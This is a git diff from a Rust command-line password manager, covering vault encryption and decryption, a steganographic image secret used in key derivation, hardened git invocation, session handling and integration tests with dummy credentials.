||||
|
||||
pub fn decrypt_entry(master_key: &[u8; 32], data: &[u8]) -> Result<Entry> {
|
||||
let json = crypto::decrypt(master_key, data)?;
|
||||
let entry: Entry = serde_json::from_slice(&json)?;
|
||||
Ok(entry)
|
||||
}
|
||||
|
||||
pub fn encrypt_manifest(master_key: &[u8; 32], manifest: &Manifest) -> Result<Vec<u8>> {
|
||||
let json = serde_json::to_vec(manifest)?;
|
||||
crypto::encrypt(master_key, &json)
|
||||
}
|
||||
|
||||
pub fn decrypt_manifest(master_key: &[u8; 32], data: &[u8]) -> Result<Manifest> {
|
||||
let json = crypto::decrypt(master_key, data)?;
|
||||
let manifest: Manifest = serde_json::from_slice(&json)?;
|
||||
Ok(manifest)
|
||||
}
|
||||
|
||||
#[cfg(test)]
|
||||
mod tests {
|
||||
use super::*;
|
||||
use crate::entry::ManifestEntry;
|
||||
|
||||
fn test_key_a() -> [u8; 32] {
|
||||
[0x42u8; 32]
|
||||
}
|
||||
|
||||
fn test_key_b() -> [u8; 32] {
|
||||
[0x99u8; 32]
|
||||
}
|
||||
|
||||
fn sample_entry() -> Entry {
|
||||
Entry {
|
||||
name: "GitHub".to_string(),
|
||||
url: Some("https://github.com".to_string()),
|
||||
username: Some("alice".to_string()),
|
||||
password: "secret123".to_string(),
|
||||
notes: None,
|
||||
totp_secret: None,
|
||||
created_at: "2024-01-01T00:00:00Z".to_string(),
|
||||
updated_at: "2024-01-01T00:00:00Z".to_string(),
|
||||
}
|
||||
}
|
||||
|
||||
#[test]
|
||||
fn entry_encrypt_decrypt_round_trip() {
|
||||
let key = test_key_a();
|
||||
let entry = sample_entry();
|
||||
|
||||
let ciphertext = encrypt_entry(&key, &entry).unwrap();
|
||||
let decoded = decrypt_entry(&key, &ciphertext).unwrap();
|
||||
|
||||
assert_eq!(decoded.name, "GitHub");
|
||||
assert_eq!(decoded.password, "secret123");
|
||||
assert_eq!(decoded.username, Some("alice".to_string()));
|
||||
}
|
||||
|
||||
#[test]
|
||||
fn manifest_encrypt_decrypt_round_trip() {
|
||||
let key = test_key_a();
|
||||
let mut manifest = Manifest::new();
|
||||
manifest.add_entry(
|
||||
"deadbeef".to_string(),
|
||||
ManifestEntry {
|
||||
name: "GitHub".to_string(),
|
||||
url: Some("https://github.com".to_string()),
|
||||
username: Some("alice".to_string()),
|
||||
updated_at: "2024-01-01T00:00:00Z".to_string(),
|
||||
},
|
||||
);
|
||||
|
||||
let ciphertext = encrypt_manifest(&key, &manifest).unwrap();
|
||||
let decoded = decrypt_manifest(&key, &ciphertext).unwrap();
|
||||
|
||||
assert_eq!(decoded.version, 1);
|
||||
assert!(decoded.entries.contains_key("deadbeef"));
|
||||
assert_eq!(decoded.entries["deadbeef"].name, "GitHub");
|
||||
}
|
||||
|
||||
#[test]
|
||||
fn entry_wrong_key_fails() {
|
||||
let key_a = test_key_a();
|
||||
let key_b = test_key_b();
|
||||
let entry = sample_entry();
|
||||
|
||||
let ciphertext = encrypt_entry(&key_a, &entry).unwrap();
|
||||
let result = decrypt_entry(&key_b, &ciphertext);
|
||||
|
||||
assert!(result.is_err());
|
||||
}
|
||||
}
|
||||
@@ -1,151 +0,0 @@
|
||||
use idfoto_core::{
|
||||
decrypt_entry, decrypt_manifest, derive_master_key, encrypt_entry, encrypt_manifest,
|
||||
generate_entry_id, Entry, KdfParams, Manifest, ManifestEntry,
|
||||
};
|
||||
use rand::RngCore;
|
||||
|
||||
fn make_test_jpeg(width: u32, height: u32) -> Vec<u8> {
|
||||
use image::codecs::jpeg::JpegEncoder;
|
||||
use image::{ImageBuffer, ImageEncoder, Rgb};
|
||||
let img = ImageBuffer::from_fn(width, height, |x, y| {
|
||||
Rgb([
|
||||
((x * 7 + y * 13) % 256) as u8,
|
||||
((x * 11 + y * 3) % 256) as u8,
|
||||
((x * 5 + y * 17) % 256) as u8,
|
||||
])
|
||||
});
|
||||
let mut buf = Vec::new();
|
||||
let encoder = JpegEncoder::new_with_quality(&mut buf, 92);
|
||||
encoder
|
||||
.write_image(img.as_raw(), width, height, image::ExtendedColorType::Rgb8)
|
||||
.unwrap();
|
||||
buf
|
||||
}
|
||||
|
||||
fn fast_params() -> KdfParams {
|
||||
KdfParams {
|
||||
argon2_m: 256,
|
||||
argon2_t: 1,
|
||||
argon2_p: 1,
|
||||
}
|
||||
}
|
||||
|
||||
#[test]
|
||||
fn full_vault_workflow() {
|
||||
// 1. Generate carrier JPEG
|
||||
let carrier = make_test_jpeg(400, 300);
|
||||
|
||||
// 2. Generate random image_secret and embed
|
||||
let mut image_secret = [0u8; 32];
|
||||
rand::thread_rng().fill_bytes(&mut image_secret);
|
||||
let stego = idfoto_core::imgsecret::embed(&carrier, &image_secret).unwrap();
|
||||
|
||||
// 3. Extract and verify
|
||||
let extracted = idfoto_core::imgsecret::extract(&stego).unwrap();
|
||||
assert_eq!(extracted, image_secret, "extracted image_secret must match embedded");
|
||||
|
||||
// 4. Derive master_key with fast params
|
||||
let passphrase = b"test-passphrase-long-enough";
|
||||
let mut salt = [0u8; 32];
|
||||
rand::thread_rng().fill_bytes(&mut salt);
|
||||
let params = fast_params();
|
||||
let master_key = derive_master_key(passphrase, &image_secret, &salt, ¶ms).unwrap();
|
||||
|
||||
// 5. Create and encrypt an Entry
|
||||
let entry = Entry {
|
||||
name: "GitHub".to_string(),
|
||||
url: Some("https://github.com".to_string()),
|
||||
username: Some("alice".to_string()),
|
||||
password: "supersecret123!".to_string(),
|
||||
notes: Some("my main account".to_string()),
|
||||
totp_secret: None,
|
||||
created_at: "2024-01-01T00:00:00Z".to_string(),
|
||||
updated_at: "2024-01-01T00:00:00Z".to_string(),
|
||||
};
|
||||
|
||||
let encrypted = encrypt_entry(&master_key, &entry).unwrap();
|
||||
|
||||
// 6. Decrypt and verify fields match
|
||||
let decrypted = decrypt_entry(&master_key, &encrypted).unwrap();
|
||||
assert_eq!(decrypted.name, "GitHub");
|
||||
assert_eq!(decrypted.password, "supersecret123!");
|
||||
assert_eq!(decrypted.username, Some("alice".to_string()));
|
||||
assert_eq!(decrypted.url, Some("https://github.com".to_string()));
|
||||
assert_eq!(decrypted.notes, Some("my main account".to_string()));
|
||||
|
||||
// 7. Wrong passphrase -> different key -> decrypt fails
|
||||
let wrong_key = derive_master_key(b"wrong-passphrase-entirely", &image_secret, &salt, ¶ms).unwrap();
|
||||
assert!(
|
||||
decrypt_entry(&wrong_key, &encrypted).is_err(),
|
||||
"decryption with wrong passphrase must fail"
|
||||
);
|
||||
|
||||
// 8. Wrong image_secret -> different key -> decrypt fails
|
||||
let mut wrong_secret = [0u8; 32];
|
||||
rand::thread_rng().fill_bytes(&mut wrong_secret);
|
||||
// Make sure it's actually different
|
||||
if wrong_secret == image_secret {
|
||||
wrong_secret[0] ^= 0xFF;
|
||||
}
|
||||
let wrong_key2 = derive_master_key(passphrase, &wrong_secret, &salt, ¶ms).unwrap();
|
||||
assert!(
|
||||
decrypt_entry(&wrong_key2, &encrypted).is_err(),
|
||||
"decryption with wrong image_secret must fail"
|
||||
);
|
||||
|
||||
// 9. Manifest round-trip
|
||||
let entry_id = generate_entry_id();
|
||||
let mut manifest = Manifest::new();
|
||||
manifest.add_entry(
|
||||
entry_id.clone(),
|
||||
ManifestEntry {
|
||||
name: "GitHub".to_string(),
|
||||
url: Some("https://github.com".to_string()),
|
||||
username: Some("alice".to_string()),
|
||||
updated_at: "2024-01-01T00:00:00Z".to_string(),
|
||||
},
|
||||
);
|
||||
|
||||
let manifest_enc = encrypt_manifest(&master_key, &manifest).unwrap();
|
||||
let manifest_dec = decrypt_manifest(&master_key, &manifest_enc).unwrap();
|
||||
|
||||
assert_eq!(manifest_dec.version, 1);
|
||||
assert!(manifest_dec.entries.contains_key(&entry_id));
|
||||
assert_eq!(manifest_dec.entries[&entry_id].name, "GitHub");
|
||||
}
|
||||
|
||||
#[test]
|
||||
fn two_factor_independence() {
|
||||
let mut salt = [0u8; 32];
|
||||
rand::thread_rng().fill_bytes(&mut salt);
|
||||
let params = fast_params();
|
||||
|
||||
let passphrase_a = b"passphrase-alpha";
|
||||
let passphrase_b = b"passphrase-bravo";
|
||||
|
||||
let mut image_secret_a = [0u8; 32];
|
||||
rand::thread_rng().fill_bytes(&mut image_secret_a);
|
||||
let mut image_secret_b = [0u8; 32];
|
||||
rand::thread_rng().fill_bytes(&mut image_secret_b);
|
||||
// Ensure they differ
|
||||
if image_secret_a == image_secret_b {
|
||||
image_secret_b[0] ^= 0xFF;
|
||||
}
|
||||
|
||||
// 1. (passphrase_A, image_A)
|
||||
let key_aa = derive_master_key(passphrase_a, &image_secret_a, &salt, ¶ms).unwrap();
|
||||
|
||||
// 2. (passphrase_B, image_A) -> different from #1
|
||||
let key_ba = derive_master_key(passphrase_b, &image_secret_a, &salt, ¶ms).unwrap();
|
||||
assert_ne!(key_aa, key_ba, "different passphrase must produce different key");
|
||||
|
||||
// 3. (passphrase_A, image_B) -> different from #1
|
||||
let key_ab = derive_master_key(passphrase_a, &image_secret_b, &salt, ¶ms).unwrap();
|
||||
assert_ne!(key_aa, key_ab, "different image_secret must produce different key");
|
||||
|
||||
// 4. (passphrase_B, image_B) -> different from all above
|
||||
let key_bb = derive_master_key(passphrase_b, &image_secret_b, &salt, ¶ms).unwrap();
|
||||
assert_ne!(key_bb, key_aa, "key_bb must differ from key_aa");
|
||||
assert_ne!(key_bb, key_ba, "key_bb must differ from key_ba");
|
||||
assert_ne!(key_bb, key_ab, "key_bb must differ from key_ab");
|
||||
}
|
||||
33
crates/relicario-cli/Cargo.toml
Normal file
33
crates/relicario-cli/Cargo.toml
Normal file
@@ -0,0 +1,33 @@
|
||||
[package]
|
||||
name = "relicario-cli"
|
||||
version = "0.1.0"
|
||||
edition = "2021"
|
||||
description = "CLI for relicario password manager"
|
||||
|
||||
[[bin]]
|
||||
name = "relicario"
|
||||
path = "src/main.rs"
|
||||
|
||||
[dependencies]
|
||||
relicario-core = { path = "../relicario-core" }
|
||||
clap = { version = "4", features = ["derive"] }
|
||||
anyhow = "1"
|
||||
rpassword = "7"
|
||||
arboard = "3"
|
||||
chrono = { version = "0.4", default-features = false, features = ["clock"] }
|
||||
dirs = "5"
|
||||
hex = "0.4"
|
||||
ed25519-dalek = { version = "2", features = ["rand_core"] }
|
||||
rand = "0.8"
|
||||
serde = { version = "1", features = ["derive"] }
|
||||
serde_json = "1"
|
||||
zeroize = "1"
|
||||
url = "2"
|
||||
data-encoding = "2"
|
||||
|
||||
[dev-dependencies]
|
||||
assert_cmd = "2"
|
||||
predicates = "3"
|
||||
tempfile = "3"
|
||||
image = { version = "0.25", default-features = false, features = ["jpeg"] }
|
||||
serde_json = "1"
|
||||
101
crates/relicario-cli/src/helpers.rs
Normal file
101
crates/relicario-cli/src/helpers.rs
Normal file
@@ -0,0 +1,101 @@
|
||||
//! CLI-side helpers: vault dir detection, hardened git shell-out, ISO-8601
|
||||
//! timestamp formatting. Kept in their own module so every command handler
|
||||
//! stays terse.
|
||||
|
||||
use std::path::{Path, PathBuf};
|
||||
use std::process::Command;
|
||||
|
||||
use anyhow::{bail, Context, Result};
|
||||
use chrono::DateTime;
|
||||
|
||||
/// Walk up from `start` looking for a directory containing `.relicario/`.
|
||||
/// Returns the vault root (the directory that contains `.relicario/`).
|
||||
/// Audit L8: refuses to operate outside an initialized vault.
|
||||
pub fn find_vault_dir_from(start: &Path) -> Result<PathBuf> {
|
||||
let mut cur = start.to_path_buf();
|
||||
loop {
|
||||
if cur.join(".relicario").is_dir() {
|
||||
return Ok(cur);
|
||||
}
|
||||
if !cur.pop() {
|
||||
bail!(
|
||||
"no .relicario/ directory found in {} or any parent — \
|
||||
run `relicario init` first",
|
||||
start.display()
|
||||
);
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
/// Convenience wrapper that starts the search from `std::env::current_dir()`.
|
||||
pub fn vault_dir() -> Result<PathBuf> {
|
||||
let cwd = std::env::current_dir().context("failed to get current directory")?;
|
||||
find_vault_dir_from(&cwd)
|
||||
}
|
||||
|
||||
/// Path to the `.relicario/` configuration directory within the vault.
|
||||
pub fn relicario_dir() -> Result<PathBuf> {
|
||||
Ok(vault_dir()?.join(".relicario"))
|
||||
}
|
||||
|
||||
/// Build a hardened `git` command — no hooks, no GPG signing, no editor.
|
||||
/// Audit H4: prevents vault mutations from running hostile hooks, blocking on
|
||||
/// GPG passphrase prompts (which would hold the master key alive), or entering
|
||||
/// $EDITOR during rebase conflict markers.
|
||||
pub fn git_command(repo: &Path, args: &[&str]) -> Command {
|
||||
let mut cmd = Command::new("git");
|
||||
cmd.current_dir(repo);
|
||||
cmd.args([
|
||||
"-c", "core.hooksPath=/dev/null",
|
||||
"-c", "commit.gpgsign=false",
|
||||
"-c", "core.editor=true",
|
||||
]);
|
||||
cmd.args(args);
|
||||
cmd
|
||||
}
|
||||
|
||||
/// Format a Unix-seconds timestamp as an ISO-8601 UTC string.
|
||||
/// Audit M11: replaces the old `now_iso8601` helper that actually returned
|
||||
/// a numeric string.
|
||||
pub fn iso8601(unix_seconds: i64) -> String {
|
||||
DateTime::from_timestamp(unix_seconds, 0)
|
||||
.map(|dt| dt.format("%Y-%m-%dT%H:%M:%SZ").to_string())
|
||||
.unwrap_or_else(|| format!("invalid-timestamp:{unix_seconds}"))
|
||||
}
|
||||
|
||||
#[cfg(test)]
|
||||
mod tests {
|
||||
use super::*;
|
||||
use tempfile::TempDir;
|
||||
|
||||
#[test]
|
||||
fn vault_dir_finds_marker_in_cwd() {
|
||||
let tmp = TempDir::new().unwrap();
|
||||
std::fs::create_dir(tmp.path().join(".relicario")).unwrap();
|
||||
let found = find_vault_dir_from(tmp.path()).unwrap();
|
||||
assert_eq!(found, tmp.path());
|
||||
}
|
||||
|
||||
#[test]
|
||||
fn vault_dir_finds_marker_in_parent() {
|
||||
let tmp = TempDir::new().unwrap();
|
||||
std::fs::create_dir(tmp.path().join(".relicario")).unwrap();
|
||||
let subdir = tmp.path().join("sub/nested");
|
||||
std::fs::create_dir_all(&subdir).unwrap();
|
||||
let found = find_vault_dir_from(&subdir).unwrap();
|
||||
assert_eq!(found, tmp.path());
|
||||
}
|
||||
|
||||
#[test]
|
||||
fn vault_dir_errors_when_missing() {
|
||||
let tmp = TempDir::new().unwrap();
|
||||
let err = find_vault_dir_from(tmp.path()).unwrap_err();
|
||||
assert!(err.to_string().contains(".relicario"));
|
||||
}
|
||||
|
||||
#[test]
|
||||
fn iso8601_formats_fixed_timestamp() {
|
||||
// 2026-04-19T00:00:00Z = 1776556800
|
||||
assert_eq!(iso8601(1_776_556_800), "2026-04-19T00:00:00Z");
|
||||
}
|
||||
}
|
||||
1362
crates/relicario-cli/src/main.rs
Normal file
1362
crates/relicario-cli/src/main.rs
Normal file
File diff suppressed because it is too large
Load Diff
151
crates/relicario-cli/src/session.rs
Normal file
151
crates/relicario-cli/src/session.rs
Normal file
@@ -0,0 +1,151 @@
|
||||
//! Unlocked-vault session: the shape every vault-mutating command works with.
|
||||
//!
|
||||
//! Holds the derived master key in `Zeroizing<[u8; 32]>` for the lifetime of a
|
||||
//! CLI invocation. Drops it (via Zeroize) when the struct goes out of scope.
|
||||
|
||||
use std::fs;
|
||||
use std::path::{Path, PathBuf};
|
||||
|
||||
use anyhow::{bail, Context, Result};
|
||||
use zeroize::Zeroizing;
|
||||
|
||||
use relicario_core::{
|
||||
decrypt_item, decrypt_manifest, decrypt_settings,
|
||||
derive_master_key, encrypt_item, encrypt_manifest, encrypt_settings,
|
||||
imgsecret, Item, ItemId, KdfParams, Manifest, VaultSettings,
|
||||
};
|
||||
|
||||
use crate::helpers::vault_dir;
|
||||
|
||||
/// A vault whose master key has been derived and is held in memory.
|
||||
/// The key is wiped via `Zeroize` when this struct drops.
|
||||
pub struct UnlockedVault {
|
||||
root: PathBuf,
|
||||
master_key: Zeroizing<[u8; 32]>,
|
||||
}
|
||||
|
||||
impl UnlockedVault {
|
||||
pub fn root(&self) -> &Path { &self.root }
|
||||
pub fn key(&self) -> &Zeroizing<[u8; 32]> { &self.master_key }
|
||||
|
||||
/// Full interactive unlock flow: locate vault, prompt passphrase, locate
|
||||
/// reference image, derive master key.
|
||||
pub fn unlock_interactive() -> Result<Self> {
|
||||
let root = vault_dir()?;
|
||||
let salt = read_salt(&root)?;
|
||||
let params = read_params(&root)?;
|
||||
let image_path = get_image_path()?;
|
||||
let image_bytes = fs::read(&image_path)
|
||||
.with_context(|| format!("failed to read reference image {}", image_path.display()))?;
|
||||
let image_secret = Zeroizing::new(imgsecret::extract(&image_bytes)?);
|
||||
|
||||
let passphrase = if let Ok(p) = std::env::var("RELICARIO_TEST_PASSPHRASE") {
|
||||
Zeroizing::new(p)
|
||||
} else {
|
||||
Zeroizing::new(
|
||||
rpassword::prompt_password("Passphrase: ")
|
||||
.context("failed to read passphrase")?
|
||||
)
|
||||
};
|
||||
|
||||
let master_key = derive_master_key(
|
||||
passphrase.as_bytes(),
|
||||
&*image_secret,
|
||||
&salt,
|
||||
¶ms,
|
||||
)?;
|
||||
|
||||
Ok(Self { root, master_key })
|
||||
}
|
||||
|
||||
pub fn manifest_path(&self) -> PathBuf { self.root.join("manifest.enc") }
|
||||
pub fn settings_path(&self) -> PathBuf { self.root.join("settings.enc") }
|
||||
pub fn item_path(&self, id: &ItemId) -> PathBuf {
|
||||
self.root.join("items").join(format!("{}.enc", id.as_str()))
|
||||
}
|
||||
|
||||
pub fn load_manifest(&self) -> Result<Manifest> {
|
||||
let bytes = fs::read(self.manifest_path()).context("failed to read manifest.enc")?;
|
||||
Ok(decrypt_manifest(&bytes, &self.master_key)?)
|
||||
}
|
||||
|
||||
pub fn save_manifest(&self, manifest: &Manifest) -> Result<()> {
|
||||
let bytes = encrypt_manifest(manifest, &self.master_key)?;
|
||||
atomic_write(&self.manifest_path(), &bytes)
|
||||
}
|
||||
|
||||
pub fn load_settings(&self) -> Result<VaultSettings> {
|
||||
let bytes = fs::read(self.settings_path()).context("failed to read settings.enc")?;
|
||||
Ok(decrypt_settings(&bytes, &self.master_key)?)
|
||||
}
|
||||
|
||||
pub fn save_settings(&self, settings: &VaultSettings) -> Result<()> {
|
||||
let bytes = encrypt_settings(settings, &self.master_key)?;
|
||||
atomic_write(&self.settings_path(), &bytes)
|
||||
}
|
||||
|
||||
pub fn load_item(&self, id: &ItemId) -> Result<Item> {
|
||||
let bytes = fs::read(self.item_path(id))
|
||||
.with_context(|| format!("failed to read item {}", id.as_str()))?;
|
||||
Ok(decrypt_item(&bytes, &self.master_key)?)
|
||||
}
|
||||
|
||||
pub fn save_item(&self, item: &Item) -> Result<()> {
|
||||
let path = self.item_path(&item.id);
|
||||
if let Some(parent) = path.parent() { fs::create_dir_all(parent)?; }
|
||||
let bytes = encrypt_item(item, &self.master_key)?;
|
||||
atomic_write(&path, &bytes)
|
||||
}
|
||||
}
|
||||
|
||||
fn read_salt(root: &Path) -> Result<[u8; 32]> {
|
||||
let data = fs::read(root.join(".relicario").join("salt"))
|
||||
.context("failed to read .relicario/salt")?;
|
||||
if data.len() != 32 { bail!("invalid salt length: {}", data.len()); }
|
||||
let mut salt = [0u8; 32];
|
||||
salt.copy_from_slice(&data);
|
||||
Ok(salt)
|
||||
}
|
||||
|
||||
fn read_params(root: &Path) -> Result<KdfParams> {
|
||||
// params.json layout: { "format_version": 2, "kdf": { "argon2_m": ..., ... }, ... }
|
||||
// We extract only the "kdf" sub-object and deserialize it as KdfParams.
|
||||
#[derive(serde::Deserialize)]
|
||||
struct ParamsFile {
|
||||
kdf: KdfParams,
|
||||
}
|
||||
let s = fs::read_to_string(root.join(".relicario").join("params.json"))
|
||||
.context("failed to read .relicario/params.json")?;
|
||||
let pf: ParamsFile = serde_json::from_str(&s).context("failed to parse params.json")?;
|
||||
Ok(pf.kdf)
|
||||
}
|
||||
|
||||
/// Locate the reference image path via `RELICARIO_IMAGE` env var or interactive prompt.
|
||||
pub fn get_image_path() -> Result<PathBuf> {
|
||||
if let Ok(path) = std::env::var("RELICARIO_IMAGE") {
|
||||
return Ok(PathBuf::from(path));
|
||||
}
|
||||
// Also accept <vault_root>/reference.jpg as a convention.
|
||||
if let Ok(root) = vault_dir() {
|
||||
let default = root.join("reference.jpg");
|
||||
if default.exists() { return Ok(default); }
|
||||
}
|
||||
eprint!("Reference image path: ");
|
||||
std::io::Write::flush(&mut std::io::stderr())?;
|
||||
let mut line = String::new();
|
||||
std::io::stdin().read_line(&mut line)?;
|
||||
let trimmed = line.trim();
|
||||
if trimmed.is_empty() { bail!("no reference image path provided"); }
|
||||
Ok(PathBuf::from(trimmed))
|
||||
}
|
||||
|
||||
/// Atomic write: write to <path>.tmp, then rename over <path>. Keeps the
|
||||
/// vault file consistent if we crash mid-write.
|
||||
fn atomic_write(path: &Path, data: &[u8]) -> Result<()> {
|
||||
let mut tmp = path.as_os_str().to_owned();
|
||||
tmp.push(".tmp");
|
||||
let tmp = PathBuf::from(tmp);
|
||||
fs::write(&tmp, data).with_context(|| format!("failed to write {}", tmp.display()))?;
|
||||
fs::rename(&tmp, path).with_context(|| format!("failed to rename {}", path.display()))?;
|
||||
Ok(())
|
||||
}
|
||||
45
crates/relicario-cli/tests/attachments.rs
Normal file
45
crates/relicario-cli/tests/attachments.rs
Normal file
@@ -0,0 +1,45 @@
|
||||
mod common;
|
||||
|
||||
use common::TestVault;
|
||||
|
||||
#[test]
|
||||
fn attach_list_extract_round_trip() {
|
||||
let v = TestVault::init();
|
||||
v.run(&["add", "login", "--title", "thing",
|
||||
"--username", "u", "--password", "p"]);
|
||||
|
||||
let payload_path = v.path().join("payload.txt");
|
||||
std::fs::write(&payload_path, b"attached-bytes").unwrap();
|
||||
|
||||
let attach = v.run(&["attach", "thing", payload_path.to_str().unwrap()]);
|
||||
assert!(attach.status.success(), "attach failed: {:?}", attach);
|
||||
|
||||
let list = v.run(&["attachments", "thing"]);
|
||||
let stdout = String::from_utf8(list.stdout).unwrap();
|
||||
assert!(stdout.contains("payload.txt"), "missing payload: {stdout}");
|
||||
|
||||
let aid = stdout.lines()
|
||||
.find(|l| l.contains("payload.txt"))
|
||||
.and_then(|l| l.split_whitespace().next())
|
||||
.expect("aid token");
|
||||
|
||||
let out_path = v.path().join("extracted.txt");
|
||||
let ex = v.run(&["extract", "thing", aid, "--out", out_path.to_str().unwrap()]);
|
||||
assert!(ex.status.success(), "extract failed: {:?}", ex);
|
||||
assert_eq!(std::fs::read(out_path).unwrap(), b"attached-bytes");
|
||||
}
|
||||
|
||||
#[test]
|
||||
fn attach_rejects_over_cap() {
|
||||
let v = TestVault::init();
|
||||
v.run(&["add", "login", "--title", "thing",
|
||||
"--username", "u", "--password", "p"]);
|
||||
|
||||
v.run(&["settings", "attachment-cap", "--per-attachment-max-bytes", "10"]);
|
||||
|
||||
let big = v.path().join("big.bin");
|
||||
std::fs::write(&big, vec![0u8; 100]).unwrap();
|
||||
let out = v.run(&["attach", "thing", big.to_str().unwrap()]);
|
||||
assert!(!out.status.success(), "expected failure; got {:?}", out);
|
||||
assert!(String::from_utf8(out.stderr).unwrap().to_lowercase().contains("attachment"));
|
||||
}
|
||||
136
crates/relicario-cli/tests/basic_flows.rs
Normal file
136
crates/relicario-cli/tests/basic_flows.rs
Normal file
@@ -0,0 +1,136 @@
|
||||
mod common;
|
||||
|
||||
use assert_cmd::cargo::CommandCargoExt as _;
|
||||
use common::TestVault;
|
||||
|
||||
#[test]
|
||||
fn init_creates_expected_layout() {
|
||||
let v = TestVault::init();
|
||||
assert!(v.path().join(".relicario/salt").exists());
|
||||
assert!(v.path().join(".relicario/params.json").exists());
|
||||
assert!(v.path().join(".relicario/devices.json").exists());
|
||||
assert!(v.path().join("manifest.enc").exists());
|
||||
assert!(v.path().join("settings.enc").exists());
|
||||
assert!(v.path().join("reference.jpg").exists());
|
||||
assert!(v.path().join(".gitignore").exists());
|
||||
assert!(v.path().join(".git").is_dir());
|
||||
}
|
||||
|
||||
#[test]
|
||||
fn init_params_json_is_format_v2() {
|
||||
let v = TestVault::init();
|
||||
let s = std::fs::read_to_string(v.path().join(".relicario/params.json")).unwrap();
|
||||
let parsed: serde_json::Value = serde_json::from_str(&s).unwrap();
|
||||
assert_eq!(parsed["format_version"], 2);
|
||||
assert_eq!(parsed["kdf"]["algorithm"], "argon2id-v0x13");
|
||||
assert_eq!(parsed["aead"], "xchacha20poly1305");
|
||||
}
|
||||
|
||||
#[test]
|
||||
fn add_login_then_list_shows_it() {
|
||||
let v = TestVault::init();
|
||||
let out = v.run(&[
|
||||
"add",
|
||||
"login",
|
||||
"--title",
|
||||
"GitHub",
|
||||
"--username",
|
||||
"alice",
|
||||
"--url",
|
||||
"https://github.com",
|
||||
"--password",
|
||||
"hunter2",
|
||||
]);
|
||||
assert!(out.status.success(), "add failed: {:?}", out);
|
||||
let out = v.run(&["list"]);
|
||||
let stdout = String::from_utf8(out.stdout).unwrap();
|
||||
assert!(stdout.contains("GitHub"), "list missing GitHub: {stdout}");
|
||||
}
|
||||
|
||||
#[test]
|
||||
fn get_masks_by_default_shows_with_flag() {
|
||||
let v = TestVault::init();
|
||||
v.run(&[
|
||||
"add",
|
||||
"login",
|
||||
"--title",
|
||||
"gmail",
|
||||
"--username",
|
||||
"u",
|
||||
"--password",
|
||||
"super-secret",
|
||||
]);
|
||||
|
||||
let masked = v.run(&["get", "gmail"]);
|
||||
let stdout = String::from_utf8(masked.stdout).unwrap();
|
||||
assert!(stdout.contains("********"), "expected masked: {stdout}");
|
||||
assert!(
|
||||
!stdout.contains("super-secret"),
|
||||
"leaked plaintext: {stdout}"
|
||||
);
|
||||
|
||||
let shown = v.run(&["get", "gmail", "--show"]);
|
||||
let stdout = String::from_utf8(shown.stdout).unwrap();
|
||||
assert!(stdout.contains("super-secret"), "expected plaintext: {stdout}");
|
||||
}
|
||||
|
||||
#[test]
|
||||
fn rm_restore_purge_cycle() {
|
||||
let v = TestVault::init();
|
||||
v.run(&[
|
||||
"add",
|
||||
"login",
|
||||
"--title",
|
||||
"target",
|
||||
"--username",
|
||||
"u",
|
||||
"--password",
|
||||
"p",
|
||||
]);
|
||||
|
||||
let rm = v.run(&["rm", "target"]);
|
||||
assert!(rm.status.success());
|
||||
|
||||
let out = v.run(&["list"]);
|
||||
assert!(!String::from_utf8(out.stdout).unwrap().contains("target"));
|
||||
|
||||
let out = v.run(&["list", "--trashed"]);
|
||||
assert!(String::from_utf8(out.stdout).unwrap().contains("target"));
|
||||
|
||||
let restore = v.run(&["restore", "target"]);
|
||||
assert!(restore.status.success());
|
||||
let out = v.run(&["list"]);
|
||||
assert!(String::from_utf8(out.stdout).unwrap().contains("target"));
|
||||
|
||||
let purge = v.run(&["purge", "target"]);
|
||||
assert!(purge.status.success());
|
||||
let out = v.run(&["list"]);
|
||||
assert!(!String::from_utf8(out.stdout).unwrap().contains("target"));
|
||||
}
|
||||
|
||||
#[test]
|
||||
fn generate_random_and_bip39() {
|
||||
let dir = tempfile::TempDir::new().unwrap();
|
||||
|
||||
let out = std::process::Command::cargo_bin("relicario")
|
||||
.unwrap()
|
||||
.current_dir(dir.path())
|
||||
.args(["generate", "--length", "32"])
|
||||
.output()
|
||||
.unwrap();
|
||||
assert!(out.status.success());
|
||||
assert_eq!(
|
||||
String::from_utf8(out.stdout).unwrap().trim().len(),
|
||||
32
|
||||
);
|
||||
|
||||
let out = std::process::Command::cargo_bin("relicario")
|
||||
.unwrap()
|
||||
.current_dir(dir.path())
|
||||
.args(["generate", "--bip39", "--words", "5"])
|
||||
.output()
|
||||
.unwrap();
|
||||
assert!(out.status.success());
|
||||
let phrase = String::from_utf8(out.stdout).unwrap();
|
||||
assert_eq!(phrase.trim().split(' ').count(), 5);
|
||||
}
|
||||
117
crates/relicario-cli/tests/common/mod.rs
Normal file
117
crates/relicario-cli/tests/common/mod.rs
Normal file
@@ -0,0 +1,117 @@
|
||||
//! Shared helpers for CLI integration tests.
|
||||
//!
|
||||
//! `TestVault::init()` spins up a fresh vault in a `TempDir` using
|
||||
//! `RELICARIO_TEST_PASSPHRASE` as the escape hatch (bypasses TTY prompts).
|
||||
//! Every `run()` / `run_with_input()` call sets both `RELICARIO_IMAGE` and
|
||||
//! `RELICARIO_TEST_PASSPHRASE`, so vault-mutating commands unlock without
|
||||
//! interactive input.
|
||||
//!
|
||||
//! Note for Task 23 implementers: commands that prompt for a *new item
|
||||
//! password* (i.e. `edit` when changing a Login password) also use
|
||||
//! `rpassword`. Plumb `RELICARIO_TEST_ITEM_PASSWORD` through `cmd_edit` in
|
||||
//! main.rs, or use an item type / edit path that avoids the rpassword call.
|
||||
|
||||
use std::io::Write;
|
||||
use std::path::{Path, PathBuf};
|
||||
use std::process::{Command, Stdio};
|
||||
|
||||
use assert_cmd::cargo::CommandCargoExt;
|
||||
use tempfile::TempDir;
|
||||
|
||||
pub struct TestVault {
|
||||
pub dir: TempDir,
|
||||
pub reference_image: PathBuf,
|
||||
pub passphrase: String,
|
||||
}
|
||||
|
||||
impl TestVault {
|
||||
pub fn init() -> Self {
|
||||
let dir = TempDir::new().expect("tempdir");
|
||||
let carrier = make_test_jpeg(400, 300);
|
||||
let carrier_path = dir.path().join("carrier.jpg");
|
||||
std::fs::write(&carrier_path, &carrier).unwrap();
|
||||
|
||||
let passphrase = "correct horse battery staple 2026".to_string();
|
||||
let ref_path = dir.path().join("reference.jpg");
|
||||
|
||||
let mut cmd = Command::cargo_bin("relicario").unwrap();
|
||||
cmd.current_dir(dir.path())
|
||||
.env("RELICARIO_TEST_PASSPHRASE", &passphrase)
|
||||
.args([
|
||||
"init",
|
||||
"--image",
|
||||
carrier_path.to_str().unwrap(),
|
||||
"--output",
|
||||
ref_path.to_str().unwrap(),
|
||||
])
|
